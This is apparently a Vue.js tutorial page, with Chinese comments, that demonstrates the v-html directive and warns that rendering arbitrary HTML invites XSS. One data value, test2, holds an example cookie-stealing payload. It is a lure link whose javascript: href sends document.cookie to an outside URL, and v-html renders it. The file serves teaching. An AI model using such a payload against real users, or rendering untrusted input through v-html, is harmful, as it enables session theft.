<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- 引入Vue -->
    <script src="../js/vue.js"></script>
    <title>02_v-html_指令</title>
</head>
<body>
    
    <!-- 
            v-html指令；
                1.作用：向指定节点中渲染包含html结构的内容。
                2.与插值语法的区别：
                    (1).v-html 会替换掉节点中所有的内容，{{xxx}}则不会
                    (2).v-html 可以识别 html 结构
                3.严重注意：v-html 有安全性问题!!!
                    (1).在网站上动态渲染任意 HTML 是非常危险的，容易导致 XSS 攻击
                    (2).一定要在可信的内容上使用 v-html. 不要用在用户提交的内容上!!
     -->


    <!-- 容器 -->
    <div id="root">
        <div>{{name}}</div>
        <div v-html="test1">hhh哈哈哈</div>
        <!-- v-text 不会解析HTML -->
        <div v-text="test1"></div>
        <div v-html="test1"></div>
        <div v-html="test2"></div>
        
    </div>

    <script type="text/javascript">
       Vue.config.productionTip=false; // 阻止 vue 在启动时生成生产提示。

       
       new Vue({
            el:'#root',
            data:{
                name:'李淳罡',
                test1:'<h1>木马牛<h1>',
                test2:'<a href=javascript:location.href="http://www.baidu.com"+document.cookie>兄弟,我发现了你想要的资源，快来~<a>'
            }
        })
 
       
    </script>
</body>
</html>